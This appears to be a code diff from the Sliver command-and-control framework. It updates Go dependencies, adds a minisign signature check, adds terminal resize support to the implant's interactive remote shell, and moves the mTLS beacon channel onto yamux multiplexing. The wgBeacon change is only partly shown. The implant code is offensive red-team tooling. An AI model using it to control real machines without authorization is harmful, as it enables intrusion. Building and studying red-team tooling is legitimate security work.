||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server,$TAGS ./server/configs ; then
|
||||
:
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.25.5
|
||||
go 1.25.6
|
||||
|
||||
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
|
||||
|
||||
@@ -12,11 +12,11 @@ require (
|
||||
filippo.io/age v1.3.1
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/SherClockHolmes/webpush-go v1.4.0
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/alecthomas/chroma/v2 v2.23.1
|
||||
github.com/charmbracelet/huh v0.8.0
|
||||
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
|
||||
github.com/charmbracelet/lipgloss v1.1.0
|
||||
@@ -30,6 +30,7 @@ require (
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8
|
||||
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
|
||||
github.com/klauspost/compress v1.18.1
|
||||
@@ -46,6 +47,7 @@ require (
|
||||
github.com/reeflective/readline v1.1.4
|
||||
github.com/rsteube/carapace v0.50.2
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/sliverarmory/wasm-donut v0.0.3
|
||||
github.com/spf13/cobra v1.10.2
|
||||
github.com/spf13/pflag v1.0.10
|
||||
github.com/stretchr/testify v1.11.1
|
||||
@@ -94,7 +96,6 @@ require (
|
||||
github.com/MicahParks/keyfunc v1.9.0 // indirect
|
||||
github.com/PagerDuty/go-pagerduty v1.8.0 // indirect
|
||||
github.com/RocketChat/Rocket.Chat.Go.SDK v0.0.0-20250718055228-285ecf400b48 // indirect
|
||||
github.com/alecthomas/chroma/v2 v2.23.1 // indirect
|
||||
github.com/appleboy/go-fcm v1.2.6 // indirect
|
||||
github.com/atc0005/go-teams-notify/v2 v2.14.0 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.5 // indirect
|
||||
@@ -220,9 +221,9 @@ require (
|
||||
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
|
||||
github.com/catppuccin/go v0.3.0 // indirect
|
||||
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
|
||||
github.com/charmbracelet/bubbletea v1.3.10 // indirect
|
||||
github.com/charmbracelet/bubbletea v1.3.10
|
||||
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
|
||||
github.com/charmbracelet/x/ansi v0.10.1 // indirect
|
||||
github.com/charmbracelet/x/ansi v0.10.1
|
||||
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
|
||||
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
|
||||
github.com/charmbracelet/x/term v0.2.1 // indirect
|
||||
@@ -301,7 +302,7 @@ require (
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||
golang.org/x/oauth2 v0.34.0 // indirect
|
||||
golang.org/x/sync v0.19.0 // indirect
|
||||
golang.org/x/time v0.14.0 // indirect
|
||||
golang.org/x/time v0.14.0
|
||||
golang.org/x/tools v0.40.0 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
|
||||
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
|
||||
|
||||
@@ -43,8 +43,6 @@ github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qd
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
@@ -84,10 +82,14 @@ github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAU
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
|
||||
github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
|
||||
github.com/alecthomas/assert/v2 v2.11.0 h1:2Q9r3ki8+JYXvGsDyBXwH3LcJ+WK5D0gc5E8vS6K3D0=
|
||||
github.com/alecthomas/assert/v2 v2.11.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k=
|
||||
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
|
||||
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
|
||||
github.com/alecthomas/chroma/v2 v2.23.1 h1:nv2AVZdTyClGbVQkIzlDm/rnhk1E9bU9nXwmZ/Vk/iY=
|
||||
github.com/alecthomas/chroma/v2 v2.23.1/go.mod h1:NqVhfBR0lte5Ouh3DcthuUCTUpDC9cxBOfyMbMQPs3o=
|
||||
github.com/alecthomas/repr v0.5.2 h1:SU73FTI9D1P5UNtvseffFSGmdNci/O6RsqzeXJtP0Qs=
|
||||
github.com/alecthomas/repr v0.5.2/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4=
|
||||
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
|
||||
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
|
||||
github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk=
|
||||
@@ -399,7 +401,6 @@ github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC
|
||||
github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0=
|
||||
github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM=
|
||||
github.com/google/uuid v0.0.0-20171113160352-8c31c18f31ed/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/googleapis/enterprise-certificate-proxy v0.3.7 h1:zrn2Ee/nWmHulBx5sAVrGgAa0f2/R35S4DJwfFaUPFQ=
|
||||
@@ -424,6 +425,8 @@ github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/C
|
||||
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
|
||||
github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
|
||||
github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg=
|
||||
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
|
||||
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
|
||||
github.com/illarion/gonotify/v3 v3.0.2 h1:O7S6vcopHexutmpObkeWsnzMJt/r1hONIEogeVNmJMk=
|
||||
@@ -658,6 +661,10 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
|
||||
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
|
||||
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
|
||||
github.com/sliverarmory/wasm-donut v0.0.2 h1:XAiV5MxDhSqnq4J45dZEM4u9JIN5aI1enhqNjiFGdtM=
|
||||
github.com/sliverarmory/wasm-donut v0.0.2/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
||||
github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4=
|
||||
github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
|
||||
@@ -1089,3 +1096,5 @@ software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB
|
||||
software.sslmate.com/src/go-pkcs12 v0.4.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
|
||||
tailscale.com v1.92.5 h1:h88HqtGk8jd9umF7l6m/8+QK69dY9IVMIlkNK9XYpvQ=
|
||||
tailscale.com v1.92.5/go.mod h1:jzTfKDd6XNNSNoX+Q9INIMpMU5rfZ9g8ojcAoMKi5w0=
|
||||
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
|
||||
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
|
||||
@@ -7,6 +7,7 @@ require (
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/miekg/dns v1.1.50
|
||||
|
||||
@@ -27,6 +27,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
|
||||
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
|
||||
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
|
||||
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
package cryptography
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"golang.org/x/crypto/ed25519"
|
||||
)
|
||||
|
||||
// MinisignVerifyRaw - Verify a fixed-length raw minisign signature (binary) using
|
||||
// the server's bundled minisign public key.
|
||||
func MinisignVerifyRaw(message []byte, rawSig []byte) bool {
|
||||
if len(rawSig) != RawSigSize {
|
||||
return false
|
||||
}
|
||||
|
||||
serverPublicKey, err := DecodeMinisignPublicKey(serverMinisignPublicKey)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
algorithm := binary.LittleEndian.Uint16(rawSig[:2])
|
||||
keyID := binary.LittleEndian.Uint64(rawSig[2:10])
|
||||
if keyID != serverPublicKey.ID() {
|
||||
return false
|
||||
}
|
||||
|
||||
switch algorithm {
|
||||
case EdDSA:
|
||||
// Verify as-is.
|
||||
case HashEdDSA:
|
||||
digest := blake2b.Sum512(message)
|
||||
message = digest[:]
|
||||
default:
|
||||
return false
|
||||
}
|
||||
|
||||
signature := rawSig[10:]
|
||||
if len(signature) != ed25519.SignatureSize {
|
||||
return false
|
||||
}
|
||||
return ed25519.Verify(ed25519.PublicKey(serverPublicKey.PublicKey[:]), message, signature)
|
||||
}
|
||||
@@ -32,7 +32,8 @@ var (
|
||||
tunnelHandlers = map[uint32]TunnelHandler{
|
||||
|
||||
// Interactive shell tunnels
|
||||
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
|
||||
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
|
||||
sliverpb.MsgShellResizeReq: tunnel_handlers.ShellResizeReqHandler,
|
||||
|
||||
// Network tunnels
|
||||
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
|
||||
|
||||
@@ -51,7 +51,15 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
}
|
||||
|
||||
shellPath := shell.GetSystemShellPath(shellReq.Path)
|
||||
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
|
||||
rows := shellReq.GetRows()
|
||||
cols := shellReq.GetCols()
|
||||
if rows > 0xffff {
|
||||
rows = 0xffff
|
||||
}
|
||||
if cols > 0xffff {
|
||||
cols = 0xffff
|
||||
}
|
||||
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY, uint16(rows), uint16(cols))
|
||||
if systemShell == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to get system shell")
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
//go:build !darwin && !linux && !freebsd && !openbsd && !dragonfly
|
||||
|
||||
package tunnel_handlers
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
resp, _ := proto.Marshal(&commonpb.Empty{})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: resp,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
//go:build darwin || linux || freebsd || openbsd || dragonfly
|
||||
|
||||
package tunnel_handlers
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
type ptyResizer interface {
|
||||
Resize(rows, cols uint32) error
|
||||
}
|
||||
|
||||
func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
req := &sliverpb.ShellResizeReq{}
|
||||
err := proto.Unmarshal(envelope.Data, req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
} else if tun := connection.Tunnel(req.TunnelID); tun != nil {
|
||||
rows := req.GetRows()
|
||||
cols := req.GetCols()
|
||||
if rows != 0 && cols != 0 {
|
||||
if resizer, ok := tun.Writer.(ptyResizer); ok {
|
||||
err := resizer.Resize(rows, cols)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to resize PTY: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
} else if f, ok := tun.Writer.(*os.File); ok {
|
||||
if rows > 0xffff {
|
||||
rows = 0xffff
|
||||
}
|
||||
if cols > 0xffff {
|
||||
cols = 0xffff
|
||||
}
|
||||
err := pty.Setsize(f, &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to resize PTY: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
resp, _ := proto.Marshal(&commonpb.Empty{})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: resp,
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,7 @@ package pty
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
@@ -26,8 +27,29 @@ func open() (pty, tty *os.File, err error) {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
pty = os.NewFile(uintptr(ptm.Cfd), "/dev/ptm")
|
||||
tty = os.NewFile(uintptr(ptm.Sfd), "/dev/ptm")
|
||||
cName := cString(ptm.Cn[:])
|
||||
sName := cString(ptm.Sn[:])
|
||||
ptyPath := "/dev/ptm"
|
||||
ttyPath := "/dev/ptm"
|
||||
if cName != "" {
|
||||
ptyPath = filepath.Join("/dev", cName)
|
||||
}
|
||||
if sName != "" {
|
||||
ttyPath = filepath.Join("/dev", sName)
|
||||
}
|
||||
pty = os.NewFile(uintptr(ptm.Cfd), ptyPath)
|
||||
tty = os.NewFile(uintptr(ptm.Sfd), ttyPath)
|
||||
|
||||
return pty, tty, nil
|
||||
}
|
||||
|
||||
func cString(in []int8) string {
|
||||
out := make([]byte, 0, len(in))
|
||||
for _, c := range in {
|
||||
if c == 0 {
|
||||
break
|
||||
}
|
||||
out = append(out, byte(c))
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
@@ -21,13 +21,15 @@ package shell
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"os"
|
||||
"os/exec"
|
||||
"sync"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
)
|
||||
@@ -45,9 +47,9 @@ func Start(command string) error {
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool, rows, cols uint16) (*Shell, error) {
|
||||
if enablePty {
|
||||
return ptyShell(tunnelID, command)
|
||||
return ptyShell(tunnelID, command, rows, cols)
|
||||
}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
@@ -98,7 +100,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
}, err
|
||||
}
|
||||
|
||||
func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
func ptyShell(tunnelID uint64, command []string, rows, cols uint16) (*Shell, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %s", command)
|
||||
// {{end}}
|
||||
@@ -106,7 +108,7 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
|
||||
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
|
||||
term, err := pty.Start(cmd)
|
||||
ptyFile, ttyFile, err := pty.Open()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[term] %v, falling back to piped shell...", err)
|
||||
@@ -115,6 +117,39 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
ttyPath := ttyFile.Name()
|
||||
|
||||
if rows > 0 && cols > 0 {
|
||||
sz := &pty.Winsize{Rows: rows, Cols: cols}
|
||||
_ = pty.Setsize(ttyFile, sz)
|
||||
_ = pty.Setsize(ptyFile, sz)
|
||||
}
|
||||
|
||||
cmd.Stdout = ttyFile
|
||||
cmd.Stdin = ttyFile
|
||||
cmd.Stderr = ttyFile
|
||||
if cmd.SysProcAttr == nil {
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{}
|
||||
}
|
||||
cmd.SysProcAttr.Setctty = true
|
||||
cmd.SysProcAttr.Setsid = true
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
ptyFile.Close()
|
||||
ttyFile.Close()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[term] %v, falling back to piped shell...", err)
|
||||
// {{end}}
|
||||
cancel()
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
term := &ptyRWC{
|
||||
pty: ptyFile,
|
||||
tty: ttyPath,
|
||||
}
|
||||
_ = ttyFile.Close()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
@@ -124,6 +159,66 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
}, err
|
||||
}
|
||||
|
||||
type ptyRWC struct {
|
||||
pty *os.File
|
||||
tty string
|
||||
|
||||
closeOnce sync.Once
|
||||
}
|
||||
|
||||
func (p *ptyRWC) Read(b []byte) (int, error) {
|
||||
return p.pty.Read(b)
|
||||
}
|
||||
|
||||
func (p *ptyRWC) Write(b []byte) (int, error) {
|
||||
return p.pty.Write(b)
|
||||
}
|
||||
|
||||
func (p *ptyRWC) Close() error {
|
||||
var retErr error
|
||||
p.closeOnce.Do(func() {
|
||||
if p.pty != nil {
|
||||
retErr = p.pty.Close()
|
||||
}
|
||||
})
|
||||
return retErr
|
||||
}
|
||||
|
||||
func (p *ptyRWC) Resize(rows, cols uint32) error {
|
||||
if rows > 0xffff {
|
||||
rows = 0xffff
|
||||
}
|
||||
if cols > 0xffff {
|
||||
cols = 0xffff
|
||||
}
|
||||
if rows == 0 || cols == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
sz := &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)}
|
||||
errTTY := error(nil)
|
||||
if p.tty != "" {
|
||||
ttyFile, err := os.OpenFile(p.tty, os.O_RDWR|syscall.O_NOCTTY, 0)
|
||||
if err != nil {
|
||||
errTTY = err
|
||||
} else {
|
||||
errTTY = pty.Setsize(ttyFile, sz)
|
||||
_ = ttyFile.Close()
|
||||
}
|
||||
}
|
||||
errPTY := error(nil)
|
||||
if p.pty != nil {
|
||||
errPTY = pty.Setsize(p.pty, sz)
|
||||
}
|
||||
if errTTY == nil || errPTY == nil {
|
||||
return nil
|
||||
}
|
||||
if errTTY != nil {
|
||||
return errTTY
|
||||
}
|
||||
return errPTY
|
||||
}
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
|
||||
@@ -43,7 +43,7 @@ func Start(command string) error {
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
|
||||
@@ -62,7 +62,7 @@ func Start(command string) error {
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
|
||||
@@ -36,6 +36,11 @@ import (
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"github.com/hashicorp/yamux"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
|
||||
// {{end}}
|
||||
@@ -192,6 +197,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
}
|
||||
|
||||
var conn *tls.Conn
|
||||
var muxSession *yamux.Session
|
||||
beacon := &Beacon{
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
@@ -202,15 +208,38 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
}
|
||||
muxSession, err = yamux.Client(conn, nil)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
},
|
||||
Recv: func() (*pb.Envelope, error) {
|
||||
return mtls.ReadEnvelope(conn)
|
||||
stream, err := muxSession.Accept()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer stream.Close()
|
||||
return mtls.ReadEnvelope(stream)
|
||||
},
|
||||
Send: func(envelope *pb.Envelope) error {
|
||||
return mtls.WriteEnvelope(conn, envelope)
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer stream.Close()
|
||||
return mtls.WriteEnvelope(stream, envelope)
|
||||
},
|
||||
Close: func() error {
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
muxSession = nil
|
||||
}
|
||||
if conn != nil {
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
@@ -242,6 +271,7 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
|
||||
var conn net.Conn
|
||||
var dev *device.Device
|
||||
var muxSession *yamux.Session
|
||||
beacon := &Beacon{
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
